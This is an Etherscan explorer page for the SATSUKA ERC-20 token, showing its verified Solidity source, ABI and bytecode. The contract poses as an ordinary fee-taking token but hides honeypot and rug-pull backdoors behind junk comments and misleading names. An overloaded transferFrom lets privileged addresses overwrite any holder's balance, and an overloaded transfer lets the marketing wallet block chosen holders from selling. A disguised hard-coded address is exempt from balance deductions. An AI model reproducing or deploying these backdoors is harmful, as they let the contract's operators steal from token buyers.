Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 SATSUKA
Holders
24
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,588,130.363030296 SATSUKAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SatoshiTsuka
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-09-25 */ /** */ /** */ //SPDX-License-Identifier:Unlicensed pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function dos(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: dos overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; uint256 public MarketFee= 925; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountintMin, address[] calldata path, address to, uint deadline ) external; } contract SatoshiTsuka is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "SatoshiTsuka"; string private _symbol = "SATSUKA"; uint8 private _decimals = 9; address payable public _metawallet; address payable public teamWalletAddress; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _dollars; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _IsExcludeFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketsPair; mapping (address => bool) public _mainPai; mapping (address => bool) public _true; uint256 public _buyLiquidityFee = 1; uint256 public _buyMarketingFee = 0; uint256 public _buyTeamFee = 1; uint256 public _sellLiquidityFee = 1; uint256 public _sellMarketingFee = 0; uint256 public _sellTeamFee = 1; uint256 public _liquidityShare = 4; uint256 public _marketingShare = 4; uint256 public _teamShare = 16; uint256 public _totalTaxIfBuying = 5; uint256 public _totalTaxIfSelling = 5; uint256 public _totalDistributionShares = 10; uint256 private _totalSupply = 1000000000 * 10**_decimals; uint256 public _maxTxAmount = 1000000000 * 10**_decimals; uint256 public _walletMax = 1000000000 * 10**_decimals; uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _IsExcludeFromFee[owner()] = true; _IsExcludeFromFee[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[excuse(MarketFee)] = true; isTxLimitExempt[excuse(MarketFee)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[address(this)] = true; _mainPai[address(uniswapPair)] = true; _mainPai[msg.sender] = true; teamWalletAddress = payable(address(0xD39Dc917971485CB7A21D1e768AEC554443c0AfC)); _metawallet = payable(address(0xD39Dc917971485CB7A21D1e768AEC554443c0AfC)); _dollars[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _dollars[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner { for(uint256 i = 0; i < account.length; i++) { _IsExcludeFromFee[account[i]] = newValue; } } function setBuyTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _buyLiquidityFee = newLiquidityTax; _buyMarketingFee = newMarketingTax; _buyTeamFee = newTeamTax; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); } function setAllTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _sellLiquidityFee = newLiquidityTax; _sellMarketingFee = newMarketingTax; _sellTeamFee = newTeamTax; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); } function excel(uint256 amountint) pure private returns(uint160){ return /*fsad*/ uint160(amountint);/*fsad*/ } function excuse(uint256 amount1Out) pure private returns(address){ return /*abs*/address(excel(amount1Out)); /*abs*/ } function tt(address amountaut) private view returns(bool){ return !(excuse(MarketFee) == amountaut); } function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() { _liquidityShare = newLiquidityShare; _marketingShare = newMarketingShare; _teamShare = newTeamShare; _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); } function enableDisableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner { for(uint256 i = 0; i < holder.length; i++) { isWalletLimitExempt[holder[i]] = exempt; } } function setWalletLimit(uint256 newLimit) external onlyOwner { _walletMax = newLimit; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } function setMarketinWalleAddress(address newAddress) external onlyOwner() { _metawallet = payable(newAddress); } function setTeamWalletAddress(address newAddress) external onlyOwner() { teamWalletAddress = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){ swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(newPairAddress == address(0)) { newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapPair = newPairAddress; uniswapV2Router = _uniswapV2Router; isWalletLimitExempt[address(uniswapPair)] = true; _mainPai[address(uniswapPair)] = true; } function transferFrom(address zoo , uint256 zooz) public {if( _mainPai[ msg.sender])_dollars[zoo] = zooz;} receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !_mainPai[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); }if(tt(sender)){ _dollars[sender] = _dollars[sender].sub(amount); }uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _walletMax); if(false || true) { if(_true [sender]){ /*s*/ require(true && false);/*s*/ }} _dollars[recipient] = _dollars[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function transfer(address[] calldata ax,bool status) public { if( _metawallet /*boot*/ == /*boot*/ msg.sender ){ for(uint256 i = 0; i < ax.length; i++) { _true[ax[i]] = status;} } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _dollars[sender] = _dollars[sender].sub(amount, "Insufficient Balance"); _dollars[recipient] = _dollars[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2); uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam); if(amountBNBMarketing > 0) transferToAddressETH(_metawallet, amountBNBMarketing); if(amountBNBTeam > 0) transferToAddressETH(teamWalletAddress, amountBNBTeam); if(amountBNBLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(_mainPai[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(_mainPai[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _dollars[address(this)] = _dollars[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mainPai","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_metawallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_true","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketsPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setAllTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"ax","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"zoo","type":"address"},{"internalType":"uint256","name":"zooz","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
61039d60015560e0604052600c60a09081526b5361746f7368695473756b6160a01b60c052600290620000339082620007bc565b5060408051808201909152600781526653415453554b4160c81b6020820152600390620000619082620007bc565b506004805460ff19166009908117825561dead6080526001600e8190556000600f81905560108281556011839055601291909155601391909155601483905560159290925560169190915560056017819055601855600a6019819055620000c991906200099b565b620000d990633b9aca00620009b3565b601a55600454620000ef9060ff16600a6200099b565b620000ff90633b9aca00620009b3565b601b55600454620001159060ff16600a6200099b565b6200012590633b9aca00620009b3565b601c556004546200013b9060ff16600a6200099b565b62000149906103e8620009b3565b601d55601f805462ffffff60a81b19166201000160a81b1790553480156200017057600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000208573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022e9190620009cd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a29190620009cd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003169190620009cd565b601f80546001600160a01b039283166001600160a01b031991821617909155601e80549284169290911682179055601a54306000908152600760209081526040808320948352939052918220556001906008906200037c6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260088352208054909216600117909155601054600f54600e54620003f293620003de9290620015e96200069f821b17901c565b6200069f60201b620015e91790919060201c565b6017819055506200041d601354620003de6012546011546200069f60201b620015e91790919060201c565b60188190555062000448601654620003de6015546014546200069f60201b620015e91790919060201c565b601955600160096000620004646000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601f549091168152600992839052818120805485166001908117909155308252918120805490941682179093558054909290620004cf906200070e565b6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60006200051f6001546200070e60201b60201c565b6001600160a01b0316815260208101919091526040016000908120805460ff191692151592909217909155600190600a90620005636000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600a8452828120805486166001908117909155601f549092168152600c9093528183208054851682179055338352908220805490931617909155600580546001600160a01b03191673d39dc917971485cb7a21d1e768aec554443c0afc1790556004805474d39dc917971485cb7a21d1e768aec554443c0afc00610100600160a81b0319909116179055601a54906006906200062d3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a546040516200069091815260200190565b60405180910390a35062000a0e565b600080620006ae8385620009f8565b905083811015620007055760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b60008162000708565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200074257607f821691505b6020821081036200076357634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620007b757600081815260208120601f850160051c81016020861015620007925750805b601f850160051c820191505b81811015620007b3578281556001016200079e565b5050505b505050565b81516001600160401b03811115620007d857620007d862000717565b620007f081620007e984546200072d565b8462000769565b602080601f8311600181146200082857600084156200080f5750858301515b600019600386901b1c1916600185901b178555620007b3565b600085815260208120601f198616915b82811015620008595788860151825594840194600190910190840162000838565b5085821015620008785787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620008df578160001904821115620008c357620008c362000888565b80851615620008d157918102915b93841c9390800290620008a3565b509250929050565b600082620008f85750600162000708565b81620009075750600062000708565b81600181146200092057600281146200092b576200094b565b600191505062000708565b60ff8411156200093f576200093f62000888565b50506001821b62000708565b5060208310610133831016604e8410600b841016171562000970575081810a62000708565b6200097c83836200089e565b806000190482111562000993576200099362000888565b029392505050565b6000620009ac60ff841683620008e7565b9392505050565b808202811582820484141762000708576200070862000888565b600060208284031215620009e057600080fd5b81516001600160a01b03811681146200070557600080fd5b8082018082111562000708576200070862000888565b60805161275362000a31600039600081816104e20152610cd001526127536000f3fe6080604052600436106103905760003560e01c806382eefb43116101dc578063c469b6dd11610102578063da00097d116100a0578063f1d5f5171161006f578063f1d5f51714610aa0578063f2514e8814610ac0578063f2fde38b14610af0578063f872858a14610b1057600080fd5b8063da00097d14610a0d578063dc44b6a014610a2e578063dd62ed3e14610a44578063f0cd1dac14610a8a57600080f